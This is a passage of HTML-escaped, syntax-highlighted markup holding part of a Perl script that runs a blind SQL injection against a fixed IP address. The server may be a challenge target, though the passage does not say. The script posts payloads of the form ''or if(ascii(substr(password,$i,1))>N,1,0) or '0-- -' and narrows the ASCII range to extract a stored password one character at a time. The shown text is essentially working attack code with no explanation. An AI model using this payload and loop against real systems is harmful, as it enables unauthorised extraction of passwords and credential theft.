&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;# de 91 a 125&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;url_decode_utf8&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;&#39;or if(ascii(substr(password,$i,1))&amp;gt;105,1,0) or &#39;0-- -&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: red;&quot;&gt;&#39;password&#39;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;decoded_content&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=~&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;co2&quot; style=&quot;color: #009966; font-style: italic;&quot;&gt;/True/i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#print(&quot;Char $i &amp;gt; 105\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; GetValue&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;106&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;125&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#print(&quot;Char $i &amp;lt; 105\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; GetValue&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;91&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;105&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#print(&quot;Char $i &amp;lt; 65\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#&amp;nbsp;de 33 a 64&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;url_decode_utf8&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;&#39;or if(ascii(substr(password,$i,1))&amp;gt;47,1,0) or &#39;0-- -&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: red;&quot;&gt;&#39;password&#39;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;decoded_content&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=~&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;co2&quot; style=&quot;color: #009966; font-style: italic;&quot;&gt;/True/i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#print(&quot;Char $i &amp;gt; 47\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; GetValue&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
